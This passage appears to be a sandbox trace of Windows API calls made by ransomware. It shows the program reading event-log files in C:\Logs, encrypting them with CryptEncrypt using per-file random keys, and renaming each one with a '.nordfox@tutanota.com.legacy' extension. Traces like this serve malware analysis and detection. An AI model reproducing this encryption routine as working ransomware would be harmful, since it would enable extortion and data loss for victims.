Size=0x11000) returned 0x584f18 [0084.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x595f20 [0084.787] ReadFile (in: hFile=0x460, lpBuffer=0x584f18, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.835] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.835] WriteFile (in: hFile=0x460, lpBuffer=0x595f20*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.836] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595f20 | out: hHeap=0x520000) returned 1 [0084.839] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.841] WriteFile (in: hFile=0x460, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.841] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.842] CloseHandle (hObject=0x460) returned 1 [0084.847] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0084.847] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0084.847] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e878 | out: hHeap=0x520000) returned 1 [0084.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582330 | out: hHeap=0x520000) returned 1 [0084.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582858 | out: hHeap=0x520000) returned 1 [0084.855] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x584f18 [0084.855] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0084.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0084.856] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0084.856] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0084.856] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0084.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x584fd0 [0084.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x585088 [0084.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584fd0 | out: hHeap=0x520000) returned 1 [0084.856] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.857] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585198 [0084.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x5961a0 [0084.857] ReadFile (in: hFile=0x460, lpBuffer=0x585198, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585198*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.887] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.888] WriteFile (in: hFile=0x460, lpBuffer=0x5961a0*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5961a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585198 | out: hHeap=0x520000) returned 1 [0084.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5961a0 | out: hHeap=0x520000) returned 1 [0084.892] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.894] WriteFile (in: hFile=0x460, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.895] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.895] CloseHandle (hObject=0x460) returned 1 [0084.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0084.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0084.897] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585088 | out: hHeap=0x520000) returned 1 [0084.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5835a8 | out: hHeap=0x520000) returned 1 [0084.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x583e68 [0084.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0084.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0084.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0084.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0084.901] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0084.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5835a8 [0084.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x584f18 [0084.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5835a8 | out: hHeap=0x520000) returned 1 [0084.901] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.901] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585010 [0084.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596018 [0084.902] ReadFile (in: hFile=0x460, lpBuffer=0x585010, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585010*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.023] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.023] WriteFile (in: hFile=0x460, lpBuffer=0x596018*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585010 | out: hHeap=0x520000) returned 1 [0085.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596018 | out: hHeap=0x520000) returned 1 [0085.024] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.024] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.025] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.026] WriteFile (in: hFile=0x460, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.026] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.026] CloseHandle (hObject=0x460) returned 1 [0085.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0085.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0085.035] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0085.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583e68 | out: hHeap=0x520000) returned 1 [0085.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583500 | out: hHeap=0x520000) returned 1 [0085.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x583e68 [0085.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0085.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0085.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0085.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0085.037] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0085.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x583500 [0085.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0085.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583500 | out: hHeap=0x520000) returned 1 [0085.097] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.098] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x584f18 [0085.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x595f20 [0085.098] ReadFile (in: hFile=0x460, lpBuffer=0x584f18, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.173] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.173] WriteFile (in: hFile=0x460, lpBuffer=0x595f20*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.174] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0085.174] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595f20 | out: hHeap=0x520000) returned 1 [0085.175] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.175] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.176] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.177] WriteFile (in: hFile=0x460, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.177] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.178] CloseHandle (hObject=0x460) returned 1 [0085.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0085.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0085.184] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0085.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583e68 | out: hHeap=0x520000) returned 1 [0085.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583458 | out: hHeap=0x520000) returned 1 [0085.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x583e68 [0085.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0085.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0085.196] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0085.196] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0085.196] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0085.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x583458 [0085.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x583500 [0085.196] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583458 | out: hHeap=0x520000) returned 1 [0085.197] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.197] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.197] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.214] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.214] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.216] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.216] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.216] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.217] WriteFile (in: hFile=0x460, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.218] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.218] CloseHandle (hObject=0x460) returned 1 [0085.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0085.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0085.228] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.233] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583500 | out: hHeap=0x520000) returned 1 [0085.233] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583e68 | out: hHeap=0x520000) returned 1 [0085.233] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5821f8 | out: hHeap=0x520000) returned 1 [0085.233] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x583050 [0085.233] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0085.233] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0085.233] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0085.233] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0085.233] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", dwFileAttributes=0x80) returned 1 [0085.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582ee8 [0085.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55c150 [0085.235] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ee8 | out: hHeap=0x520000) returned 1 [0085.235] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.235] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.236] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.236] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.254] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.254] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.258] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.259] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.259] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.260] WriteFile (in: hFile=0x460, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.261] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, 